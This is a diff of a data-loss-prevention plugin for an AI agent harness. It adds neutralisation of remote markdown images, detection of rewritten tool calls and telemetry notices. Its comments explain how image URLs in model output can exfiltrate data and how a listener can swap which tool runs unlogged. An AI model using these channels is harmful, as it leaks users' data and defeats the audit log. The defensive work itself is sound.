  resultRedaction: enabled('resultRedaction'),
270
277
  telemetryRedaction: enabled('telemetryRedaction'),
278
+ remoteImageNeutralization: enabled('remoteImageNeutralization'),
271
279
  redactTelemetryWorkspacePaths: enabled('redactTelemetryWorkspacePaths'),
272
280
  };
273
281
  }
package/lib/telemetry.js CHANGED
@@ -27,6 +27,35 @@
27
27
  */
28
28
  import { scanSync } from "./detectors.js";
29
29
  import { placeholderFor, redactJson, redactText } from "./redaction.js";
30
+ /**
31
+ * What to tell the operator when the redaction seam will never dispatch.
32
+ *
33
+ * A `session-telemetry/record` listener mounts successfully and never runs
34
+ * unless a backend built a coordinator, and the shipped default builds none:
35
+ * the mode is `DISABLED`, so nothing is exported and nothing is dispatched.
36
+ * That is the safe posture, not a leak — but an operator who mounts a redactor
37
+ * under it sees every signal of success and has verified nothing. The
38
+ * backend's own `sharing` disclosure is the resolved answer, so this never
39
+ * guesses at `DSH_TELEMETRY_MODE`, which is only the base patch's default
40
+ * expression for a `mode` a deployment can also set directly.
41
+ * @param sharing - the mounted backend's disclosure, or `undefined` when no backend is mounted.
42
+ * @returns the line to report, or `undefined` when the seam does dispatch.
43
+ */
44
+ export function telemetrySeamNotice(sharing) {
45
+ const consequence = 'nothing dispatches the session-telemetry/record waterfall and this plugin\'s telemetry'
46
+ + ' redaction never runs. Nothing is exported in this state, so this is not a leak — it means the redaction'
47
+ + ' rules are unverified, and they begin running the moment telemetry is turned on. Informational only: the'
48
+ + ' plugin\'s other seams are unaffected.';
49
+ switch (sharing) {
50
+ case 'disabled':
51
+ return 'dsh-dlp: telemetryRedaction is enabled, but the mounted session-telemetry backend reports sharing'
52
+ + ` "disabled", so ${consequence}`;
53
+ case undefined:
54
+ return `dsh-dlp: telemetryRedaction is enabled, but no session-telemetry backend is mounted, so ${consequence}`;
55
+ default:
56
+ return undefined;
57
+ }
58
+ }
30
59
  /** Attribute keys whose values are filesystem paths rather than payload text. */
31
60
  const PATH_ATTRIBUTES = ['session.cwd'];
32
61
  /** Rule identity recorded when a workspace path is replaced. */
@@ -0,0 +1,81 @@
1
+ /**
2
+ * Neutralising remote markdown images in assistant output, on the `llm/stream`
3
+ * waterfall.
4
+ *
5
+ * The web UI renders any absolute `http:`/`https:` markdown image a model
6
+ * emits as a real `<img src>`, and the harness sets no Content-Security-Policy,
7
+ * so the fetch happens in the user's browser where no host-side listener can
8
+ * see it. This module rewrites the destination out of the assistant's text
9
+ * before it becomes an `assistant/chunk` or `assistant/message` session event,
10
+ * so the log and the rendered answer stay in agreement.
11
+ *
12
+ * Two properties this module exists to hold:
13
+ *
14
+ * - **A destination split across chunks is still caught.** The mock and real
15
+ * adapters both emit text in small deltas, so `![alt](https://host/x)` is
16
+ * routinely spread over several of them and the browser renders the
17
+ * accumulation. Text that could still be the start of an image is held back
18
+ * until it either completes or exceeds {@link MAX_HELD_CHARACTERS}.
19
+ * - **Only the destination is replaced.** The alt text survives, so the
20
+ * sentence the model wrote still reads, and the renderer's own
21
+ * non-absolute-URL arm shows that alt text instead of fetching anything.
22
+ *
23
+ * This does not close the channel. It matches inline image syntax only:
24
+ * reference-style images, an alt text carrying a `]`, and any destination form
25
+ * the pattern does not model still reach the renderer. Raw HTML needs no
26
+ * handling — the renderer keeps it as literal text and no HTML enters the DOM
27
+ * (`packages/client/ui-primitives/src/markdown/render.tsx:261-263`). The
28
+ * upstream fix is one `img-src` directive.
29
+ * @module dsh-dlp/images
30
+ */
31
+ import type { StreamChunk } from '@deepseek-ai/dsh-llm';
32
+ /**
33
+ * Destination substituted for a remote image URL.
34
+ *
35
+ * It is deliberately not a URL: `new URL()` throws on it, which is the
36
+ * renderer's own "not an absolute destination" arm, and that arm renders the
37
+ * alt text as a `<span>` instead of emitting an `<img>`.
38
+ */
39
+ export declare const BLOCKED_IMAGE_DESTINATION = "dsh-dlp-blocked-remote-image";
40
+ /**
41
+ * Longest suffix held back waiting for an image to complete.
42
+ *
43
+ * Held text is text the user cannot see yet, so the wait is bounded: past this
44
+ * many characters the suffix is emitted as it stands and a destination that
45
+ * completes later is caught only by the assembled block. A protocol bound on
46
+ * this module's own buffering, not a deployment choice.
47
+ */
48
+ export declare const MAX_HELD_CHARACTERS = 4096;
49
+ /** One string after its remote image destinations were replaced. */
50
+ export interface NeutralizedText {
51
+ readonly text: string;
52
+ /** Hostnames of the replaced destinations, in match order; never the full URL. */
53
+ readonly hosts: readonly string[];
54
+ }
55
+ /**
56
+ * Replace every absolute HTTP(S) inline image destination in one string.
57
+ * @param text - assistant text, whole or partial.
58
+ * @returns the rewritten text and the hosts whose destinations were replaced.
59
+ */
60
+ export declare function neutralizeRemoteImages(text: string): NeutralizedText;
61
+ /**
62
+ * Where the held suffix of a partially streamed string starts.
63
+ * @param text - everything accumulated for one block and not yet emitted.
64
+ * @returns the offset to emit up to; the string's length when nothing is held.
65
+ */
66
+ export declare function heldSuffixStart(text: string): number;
67
+ /**
68
+ * Wrap one model stream, replacing remote image destinations in its text.
69
+ *
70
+ * Text deltas are rewritten as they pass, with a possible image start held
71
+ * back until it resolves, and the assembled block on `block-end` — which is
72
+ * what the agent loop turns into the assistant message — is rewritten too. A
73
+ * held suffix is always flushed as a delta before the block closes and before
74
+ * the terminal finish, so no text is lost and the emitted chunks still satisfy
75
+ * the stream grammar.
76
+ * @param source - the stream from the rest of the waterfall.
77
+ * @param onNeutralized - notified once per host per text block.
78
+ * @returns the rewritten stream.
79
+ */
80
+ export declare function neutralizeImageStream(source: AsyncIterable<StreamChunk>, onNeutralized: (host: string) => void): AsyncIterable<StreamChunk>;
81
+ //# sourceMappingURL=images.d.ts.map
@@ -14,6 +14,15 @@
14
14
  * a result that cannot be cleaned is withheld rather than accepted.
15
15
  * 4. `session-telemetry/record` — fail-closed redaction of exported telemetry,
16
16
  * reaching tier 1 only because the waterfall is synchronous.
17
+ * 5. `llm/stream` — neutralising remote markdown image destinations in
18
+ * assistant output, before the text becomes a session event.
19
+ *
20
+ * Three of those registrations mitigate defects in the harness rather than in
21
+ * a deployment's own configuration: the missing Content-Security-Policy behind
22
+ * (5), the mutable execution object behind the guard's mutation check, and the
23
+ * silently inert telemetry seam behind the notice reported at mount. Each one
24
+ * is partial, none closes its channel, and README.md says so beside the
25
+ * feature.
17
26
  *
18
27
  * This plugin is not a containment boundary. It runs in-process at the agent's
19
28
  * own uid; anything the agent can execute can read the same files the guard
@@ -0,0 +1,83 @@
1
+ /**
2
+ * Detecting a tool call that was rewritten after it was logged.
3
+ *
4
+ * The registry deep-freezes `exec.arguments` but does not freeze the execution
5
+ * object until results are notified, so a `tools/pre-execute` listener can
6
+ * reassign `exec.arguments` or `exec.name` — and reassigning `exec.name`
7
+ * changes which tool body runs. The agent loop appended `tool/call` from the
8
+ * model's own response block before the waterfall ran, so nothing in the
9
+ * session log records the change: the durable record then describes a
10
+ * different call than the one about to execute.
11
+ *
12
+ * This module snapshots the call as early in the waterfall as it can and
13
+ * compares in the guard, which runs after the whole waterfall and cannot be
14
+ * out-ordered. It is detection, not prevention: preventing the rewrite would
15
+ * mean freezing an object this plugin does not own, and the snapshot itself is
16
+ * best-effort — a later `{ prepend: true }` registration runs ahead of ours and
17
+ * would be snapshotted after its own rewrite.
18
+ * @module dsh-dlp/mutation
19
+ */
20
+ import type { ToolExecution } from '@deepseek-ai/dsh-tools';
21
+ import type { SpanHasher } from './redaction.ts';
22
+ /** The parts of an execution this module compares. */
23
+ type Comparable = Pick<ToolExecution, 'name' | 'arguments'>;
24
+ /** One rewritten field. */
25
+ export type MutatedField = 'name' | 'arguments';
26
+ /** A call whose identity changed between the snapshot and the guard. */
27
+ export interface ExecutionMutation {
28
+ /** Which fields differ, in a stable order. */
29
+ readonly fields: readonly MutatedField[];
30
+ /** The tool name the session log recorded. */
31
+ readonly originalTool: string;
32
+ }
33
+ /**
34
+ * Render a JSON value with object keys in a fixed order, so two equal argument
35
+ * sets hash equally whatever order a listener rebuilt them in.
36
+ * @param value - the argument value; JSON-serializable by the registry's own snapshot step.
37
+ * @returns a canonical string for hashing.
38
+ */
39
+ export declare function canonicalJson(value: unknown): string;
40
+ /**
41
+ * Remembers what each pending call looked like before the rest of the
42
+ * `tools/pre-execute` waterfall ran.
43
+ *
44
+ * Keyed by the execution object's identity in a `WeakMap`, the way the
45
+ * registry keys its own per-execution state, so the entry is found again in
46
+ * the guard and released with the execution.
47
+ */
48
+ export declare class ExecutionSnapshots {
49
+ #private;
50
+ /**
51
+ * @param hasher - mints the keyed digest of the arguments; the values themselves are never stored.
52
+ */
53
+ constructor(hasher: SpanHasher);
54
+ /**
55
+ * Snapshot one pending call.
56
+ * @param exec - the execution as the earliest listener sees it.
57
+ */
58
+ record(exec: Comparable): void;
59
+ /**
60
+ * Compare one call against its snapshot.
61
+ *
62
+ * A call with no snapshot is not a finding: the listener may never have run
63
+ * for it, and reporting absence as mutation would deny calls this plugin
64
+ * simply did not observe.
65
+ * @param exec - the execution as the guard stage sees it.
66
+ * @returns what changed, or `undefined` when nothing did.
67
+ */
68
+ detect(exec: Comparable): ExecutionMutation | undefined;
69
+ }
70
+ /**
71
+ * Denial text for a rewritten call.
72
+ *
73
+ * Both tool names are named: a tool name is already in the session log and in
74
+ * every other denial this plugin writes, and naming them is the whole point —
75
+ * the operator needs to know which call the log describes and which one was
76
+ * about to run. No argument value appears.
77
+ * @param exec - the call as the guard sees it, after the rewrite.
78
+ * @param mutation - the fields that changed and the recorded tool name.
79
+ * @returns the model-facing reason.
80
+ */
81
+ export declare function mutationReason(exec: Comparable, mutation: ExecutionMutation): string;
82
+ export {};
83
+ //# sourceMappingURL=mutation.d.ts.map
@@ -33,12 +33,14 @@ export interface Config {
33
33
  resultRedaction: boolean;
34
34
  /** Whether `session-telemetry/record` redaction runs. */
35
35
  telemetryRedaction: boolean;
36
+ /** Whether remote markdown image destinations are neutralised in assistant output. */
37
+ remoteImageNeutralization: boolean;
36
38
  /** Whether telemetry's `session.cwd` attribute is replaced with a keyed hash. */
37
39
  redactTelemetryWorkspacePaths: boolean;
38
40
  }
39
41
  export declare const Config: z<Config>;
40
42
  /** Config toggles a repo-local policy may switch on, and never off. */
41
- declare const ENABLEABLE: readonly ["breadthTier", "resultRedaction", "telemetryRedaction", "redactTelemetryWorkspacePaths"];
43
+ declare const ENABLEABLE: readonly ["breadthTier", "resultRedaction", "telemetryRedaction", "remoteImageNeutralization", "redactTelemetryWorkspacePaths"];
42
44
  /** One toggle name a repo-local policy may name in `enable`. */
43
45
  export type EnableableToggle = typeof ENABLEABLE[number];
44
46
  /** Payload version this package writes and accepts for repo-local policy files. */
@@ -59,6 +61,7 @@ export interface ResolvedPolicy {
59
61
  readonly breadthTier: boolean;
60
62
  readonly resultRedaction: boolean;
61
63
  readonly telemetryRedaction: boolean;
64
+ readonly remoteImageNeutralization: boolean;
62
65
  readonly redactTelemetryWorkspacePaths: boolean;
63
66
  }
64
67
  /** Thrown when a policy file is malformed or attempts to loosen the policy. */
@@ -28,7 +28,7 @@ export declare function newDecisionId(): DecisionId;
28
28
  /** Payload version carried inside every record this plugin writes. */
29
29
  export declare const RECORD_VERSION = 1;
30
30
  /** What produced one audit record. */
31
- export type AuditKind = 'guard-deny' | 'pre-execute-deny' | 'result-redaction' | 'telemetry-redaction' | 'audit-failure';
31
+ export type AuditKind = 'guard-deny' | 'pre-execute-deny' | 'execution-mutation' | 'result-redaction' | 'telemetry-redaction' | 'assistant-image-neutralized' | 'audit-failure';
32
32
  /** One durable record. Never carries matched secret text. */
33
33
  export interface AuditRecord {
34
34
  readonly v: number;
@@ -62,6 +62,17 @@ export interface AuditRecord {
62
62
  readonly unicode?: Readonly<Record<string, number>>;
63
63
  /** Telemetry record channel, for `telemetry-redaction`. */
64
64
  readonly channel?: string;
65
+ /** Fields another plugin rewrote after the call was logged, for `execution-mutation`. */
66
+ readonly mutatedFields?: readonly string[];
67
+ /** Tool name the session log recorded, when a rewrite changed it. */
68
+ readonly originalTool?: string;
69
+ /**
70
+ * Hostname of a neutralised remote image destination, for
71
+ * `assistant-image-neutralized`. The hostname only: a path and a query
72
+ * string are where an exfiltration payload rides, and this file must not
73
+ * carry it.
74
+ */
75
+ readonly host?: string;
65
76
  }
66
77
  /** Append-only JSONL sink for this plugin's decisions. */
67
78
  export declare class AuditSink {
@@ -25,9 +25,24 @@
25
25
  * workspace path.
26
26
  * @module dsh-dlp/telemetry
27
27
  */
28
- import type { SessionTelemetryRecord } from '@deepseek-ai/dsh-session-telemetry';
28
+ import type { SessionTelemetryRecord, SessionTelemetrySharingStatus } from '@deepseek-ai/dsh-session-telemetry';
29
29
  import type { ResolvedPolicy } from './policy.ts';
30
30
  import { type RedactedSpan, type SpanHasher } from './redaction.ts';
31
+ /**
32
+ * What to tell the operator when the redaction seam will never dispatch.
33
+ *
34
+ * A `session-telemetry/record` listener mounts successfully and never runs
35
+ * unless a backend built a coordinator, and the shipped default builds none:
36
+ * the mode is `DISABLED`, so nothing is exported and nothing is dispatched.
37
+ * That is the safe posture, not a leak — but an operator who mounts a redactor
38
+ * under it sees every signal of success and has verified nothing. The
39
+ * backend's own `sharing` disclosure is the resolved answer, so this never
40
+ * guesses at `DSH_TELEMETRY_MODE`, which is only the base patch's default
41
+ * expression for a `mode` a deployment can also set directly.
42
+ * @param sharing - the mounted backend's disclosure, or `undefined` when no backend is mounted.
43
+ * @returns the line to report, or `undefined` when the seam does dispatch.
44
+ */
45
+ export declare function telemetrySeamNotice(sharing: SessionTelemetrySharingStatus | undefined): string | undefined;
31
46
  /** Rule identity recorded when a workspace path is replaced. */
32
47
  export declare const WORKSPACE_PATH_RULE = "dsh-dlp/telemetry-workspace-path";
33
48
  /** One redacted telemetry record and what was replaced in it. */
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dsh-dlp",
3
- "version": "0.2.0",
3
+ "version": "0.3.0",
4
4
  "description": "Data-loss-prevention plugin for DeepSeek Harness: a non-configurable tool guard floor, tool-result redaction, and fail-closed telemetry redaction",
5
5
  "license": "MIT",
6
6
  "author": "Ivan Tyshchenko <nsof@protonmail.com>",